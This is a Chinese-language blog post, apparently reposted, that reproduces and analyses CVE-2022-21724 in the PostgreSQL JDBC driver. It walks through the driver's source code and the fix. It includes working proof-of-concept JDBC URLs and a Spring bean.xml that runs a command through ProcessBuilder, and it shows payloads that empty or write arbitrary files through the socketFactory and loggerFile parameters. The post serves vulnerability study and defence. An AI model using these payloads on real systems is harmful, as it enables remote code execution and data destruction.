任意代码执行漏洞复现

news2025/1/7 23:22:29

漏洞简介

在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时,使用 PostgreSQL 数据库的系统将受到攻击。 pgjdbc 根据通过 authenticationPluginClassNamesslhostnameverifiersocketFactorysslfactorysslpasswordcallback 连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。

影响范围:

  9.4.1208 <=PgJDBC <42.2.25

  42.3.0 <=PgJDBC < 42.3.2

【一一帮助安全学习,所有梓料获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部教程

漏洞复现

创建 maven 项目,添加依赖

<!-- https://mvnrepository.com/artifact/org.postgresql/postgresql -->
<dependency>
    <groupId>org.postgresql</groupId>
    <artifactId>postgresql</artifactId>
    <version>42.3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context-support</artifactId>
    <version>5.3.23</version>
</dependency>

编写测试代码

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class cve202221724 {
    public static void main(String[] args) throws SQLException {
        String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
        String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;
        Connection connection = DriverManager.getConnection(jdbcUrl);
    }
}

bean.xml

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
 http://www.springframework.org/schema/beans/spring-beans.xsd">
<!--    普通方式创建类-->
   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value>calc.exe</value>
          </list>
        </constructor-arg>
    </bean>
</beans>

image.png

漏洞分析

任意代码执行 socketFactory/socketFactoryArg
image.png

先将调试后的流程大概画出

image.png

java.sql.DriverManager#getConnection(java.lang.String)
image.png

java.sql.DriverManager#getConnection(java.lang.String, java.util.Properties, java.lang.Class<?>)
image.png

利用 org.postgresql.Driver 的 jdbc 驱动去连接数据库

org.postgresql.Driver#connect
image.png

调用 makeConnection 去连接数据库

org.postgresql.Driver#makeConnection
image.png

org.postgresql.jdbc.PgConnection#PgConnection
image.png

org.postgresql.core.ConnectionFactory#openConnection
image.png

org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
image.png

org.postgresql.core.SocketFactoryFactory#getSocketFactory
image.png

PGProperty 是枚举类型 其中的 get 方法是判断枚举项的值有没有传入的 properties,如果存在就查找返回,没有就返回默认值
image.png

SOCKET_FACTORY(
      "socketFactory",
      null,
      "Specify a socket factory for socket creation"),
  SOCKET_FACTORY_ARG(
      "socketFactoryArg",
      null,
      "Argument forwarded to constructor of SocketFactory class."),

org.postgresql.util.ObjectFactory#instantiate
image.png

通过 newInstance 来实现对 ctor 类 的创建,同时 args 作为参数。构造方法中有且只有一个 String 参数的类就可以满足条件。

  • org.apache.commons.jxpath.functions.ConstructorFunction
  • org.apache.commons.jxpath.functions.MethodFunction
  • java.io.FileOutputStream

通过利用 CVE-2017-17485 实现 Spring spel 执行任意命令 或者利用 FileOutputStream 将任意文件置空(jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=java.io.FileOutputStream&socketFactoryArg=test.txt)

任意代码执行 sslfactory/sslfactoryarg

image.png
image.png

image.png

<init>:85, ClassPathXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
instantiate:62, ObjectFactory (org.postgresql.util)
getSslSocketFactory:64, SocketFactoryFactory (org.postgresql.core)
convert:34, MakeSSL (org.postgresql.ssl)
enableSSL:546, ConnectionFactoryImpl (org.postgresql.core.v3)
tryConnect:151, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnectionImpl:215, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:17, cve202221724

org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
image.png

尝试与数据库进行连接

org.postgresql.core.v3.ConnectionFactoryImpl#tryConnect
image.png

建立连接后收到请求以 S 开头,进入 org.postgresql.ssl.MakeSSL#convert

org.postgresql.core.v3.ConnectionFactoryImpl#enableSSL
image.png
image.png

org.postgresql.ssl.MakeSSL#convert
image.png

org.postgresql.core.SocketFactoryFactory#getSslSocketFactory

image.png

任意文件写入 loggerLevel/loggerFile

image.png
image.png

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class cve202221724 {
    public static void main(String[] args) throws SQLException {
        String loggerLevel = "debug";
        String loggerFile = "test.txt";
        String shellContent="test";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
        Connection connection = DriverManager.getConnection(jdbcUrl);
    }
}

image.png

org.postgresql.Driver#connect
image.png

org.postgresql.Driver#setupLoggerFromProperties
image.png

通过 设置扩展参数 LOGGER_FILE 指定日志文件保存位置,没有进行校验,所以可以跨目录的保存文件
image.png

生成临时文件,之后将日志信息保存到文件中

org.postgresql.Driver#connect

先通过 setupLoggerFromProperties 设定相关的参数 然后再利用 LOGGER.log 保存文件
image.png

漏洞修复

针对代码执行的漏洞而言,要求获取的类名必须是指定类的子类,否则就抛出异常
image.png

对于任意文件写入而言,高版本中移除了对日志文件的设定操作 setupLoggerFromProperties(props);
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/20295.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

021_SSSS_Diffusion Models Already Have a Semantic Latent Space

Diffusion Models Already Have a Semantic Latent Space 1. Introduction 本文指出&#xff0c;现有的Diffusion模型可以在不同的领域有出色的表现&#xff0c;但是缺少可以控制其生成过程的语义隐空间&#xff08;Semantic Latent Sapce&#xff09;。本文提出了非对称的反…

C++模拟OpenGL库——图片处理及纹理系统(三):图片缩放操作:简单插值二次线性插值

目录 简单插值 二次线性插值 简单插值 如图&#xff0c;我们想把一张小图缩放成一张大图&#xff0c;自然的想法就是按照它们的长宽比例进行缩放&#xff08;zoomX&#xff09;。 但是问题也显而易见&#xff0c;在缩放的过程中&#xff0c;小图的像素并不能一一映射到大图的…

蜂巢能源冲刺科创板上市:拟募资150亿元,上半年收入37亿元

11月18日&#xff0c;蜂巢能源科技股份有限公司&#xff08;下称“蜂巢能源”&#xff09;在上海证券交易所递交招股书&#xff0c;准备在科创板上市。本次冲刺科创板上市&#xff0c;蜂巢能源计划募资150亿元&#xff0c;主要用于动力锂离子电池项目、研发中心建设项目等。 据…

Unity游戏Mod/插件制作教程02 - 开发环境准备

前言 虽然本教程的目标读者是有C#基础的玩家&#xff0c;但是作为流程&#xff0c;基础的开发软件部分我还是要记录一下。 安装VisualStudio VisualStudio是我们开发插件最重要的工具&#xff0c;也许你习惯其他开发.net的工具&#xff0c;但是免费的VisualStudio已经足够好用…

王道OS 1.1_1 操作系统的概念、功能和目标

王道OS 1.1_1 操作系统的概念、功能和目标 chap1 计算机系统概述 参考资料 B站王道考研操作系统概念 第9版 &#xff08;原书、译本&#xff09; 好久没有写博客总结整理和输出了&#xff0c;学习的惰性在一次次的考试周从零开始的经历中达到了巅峰&#xff0c;现在想重振旗鼓…

换工作有感

最近很长一段时间没有更新博客&#xff0c;更新关于vim相关的操作&#xff0c;主要是最近在忙于换工作的事情。其实本来我也没打算换工作的&#xff0c;主要是最近公司的一些骚操作让我觉得心里很不爽&#xff0c;所以一怒之下提出离职。 背景 先来说说这个事情的背景吧&#…

2022年 SecXOps 安全智能分析技术白皮书 附下载地址

近年来&#xff0c;互联网、大数据和人工智能 等技术都得到了飞速的发展&#xff0c;网络攻击的方法也越来越复杂&#xff0c;过去广泛、漫无目的的攻击威胁&#xff0c;在数年内迅速地转化为有目标、有组织、长期 潜伏的多阶段组合式高级可持续威胁&#xff08;Advanced Persi…

计算机网络——第五章网络层笔记(5)

网络地址翻译&#xff08;NAT&#xff09; Private IP address:不可路由的地址、也可用于广域网链路上 NAT&#xff1a;net address translate 私有IP地址和公有IP地址之间的转换。 PAT&#xff1a;port address translate 将多个私有IP地址影射到同一个公有IP地址的不同…

跑步时戴什么耳机好、分享五款最适合跑步的运动耳机排名清单

在进行户外跑步、骑行等运动&#xff0c;往往会感到枯燥乏味&#xff0c;很难坚持下去&#xff0c;就像我经常跑一圈就觉得没了动力&#xff0c;但是当我戴上耳机听音乐跑步时&#xff0c;不知不觉就结束了&#xff0c;就感觉时间过得很快。不过话有说回来&#xff0c;适合跑步…

【JVM】jvm的体系结构

JVM体系结构如下图所示&#xff1a; JVM大致可以分为五大模块&#xff1a; 类加载子系统&#xff08;Class Loader SubSystem&#xff09;运行时数据区&#xff08;Runtime Data Area&#xff09;执行引擎&#xff08;Execution Engine&#xff09;Java本地接口&#xff08;Ja…

Java native关键字 实现

需要用到gcc mingw64: 下载安装MinGW-w64详细步骤&#xff08;c/c的编译器gcc的windows版&#xff0c;win10真实可用&#xff09;_jjxcsdn的博客-CSDN博客_mingw-w64 我也是根据上面地址安装的 在d盘创建一个.java文件 编写内容 testInt方法用 native关键字修饰 静态块里需要…

Tauri 打包

1、第一次打包运行命令 npm run tauri build 2、可能会出现下面问题 我们需要在tauri.conf.json里面查找identifier这个名称 原来是com.tauri.dev 随便改下名字&#xff0c;我这里改成build了 3、修改配置后&#xff0c;继续打包又出现问题&#xff0c;如下图 我们就单独去下…

Google Earth Engine(GEE)——join连接在GEE中的应用(同一sentinel-2影像集合)含滑动窗口平滑影像过程

JOIN联接允许您根据一个或多个条件组合不同的集合。 ImageCollection 到 ImageCollection 在数据融合中很有用(从不同的数据集中找到匹配的图像) FeatureCollection 到 ImageCollection 用于数据提取(在多个位置提取图像) FeatureCollection 到 FeatureCollection 在地理处…

公式编辑器Axmath+公式识别器SimpleTex+Markdown编辑器Typora

Ⅰ.公式编辑器Axmath 下载方式&#xff1a; ①百度网盘&#xff1a;https://pan.baidu.com/share/init?surlUWHIHWJHm-mC5q5LUCyEuA 提取码&#xff1a;1r2a ②城通网盘&#xff1a;https://url86.ctfile.com/f/32005086-727935308-6024d8?p5422 访问码&#xff1a;5422 软件…

Cellular/Wifi/Bluetooth频率

Cellular NR频率 3GPP R17定义的NR FR1频段如下表&#xff1a; 图片来自于38.101国内常用FDD频段&#xff1a; n1: 2100MHz~2170MHz&#xff0c;共79MHz带宽 n3: 1805MHz~1880MHz&#xff0c;共75MHz带宽 n5: 869MHz~894MHz&#xff0c;共25MHz带宽 n8: 925MHz~960MHz&…

【Redis-03】Redis数据库的实现原理

在之前的文章我们介绍过&#xff0c;Redis服务器在启动之初&#xff0c;会初始化RedisServer的实例&#xff0c;在这个实例中存在很多重要的属性结构&#xff0c;同理本篇博客中介绍的数据库实现原理也会和其中的某些属性相关&#xff0c;我们继续看一下吧。 1.服务器和客户端…

基于改进萤火虫算法的图像分割的应用(Matlab代码实现)

&#x1f352;&#x1f352;&#x1f352;欢迎关注&#x1f308;&#x1f308;&#x1f308; &#x1f4dd;个人主页&#xff1a;我爱Matlab &#x1f44d;点赞➕评论➕收藏 养成习惯&#xff08;一键三连&#xff09;&#x1f33b;&#x1f33b;&#x1f33b; &#x1f34c;希…

可执行文件的装载与进程

进程虚拟地址空间 每个程序被运行起来以后&#xff0c;它将拥有自己独立虚拟空间地址&#xff0c;这个虚拟地址空间的大学由计算机的硬件平台决定&#xff0c;具体地说是由CPU的位数决定。硬件决定了地址空间的最大理论上限&#xff0c;即硬件的寻址空间大小&#xff0c;比如32…

欢迎使用Markdown编辑器

欢迎使用Markdown编辑器欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题&#xff0c;有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个…

HTML的常用结构标签(详细)

1.文本标题 &#x1f340; <h1> </h1>~~~<h6> </h6>,从h1到h6字体由大到小 2.段落 &#x1f340; <p> </p> 3.加粗 &#x1f340; <b> </b> 和 <strong> </strong> 4.倾斜 &#x1f340; <i></i&…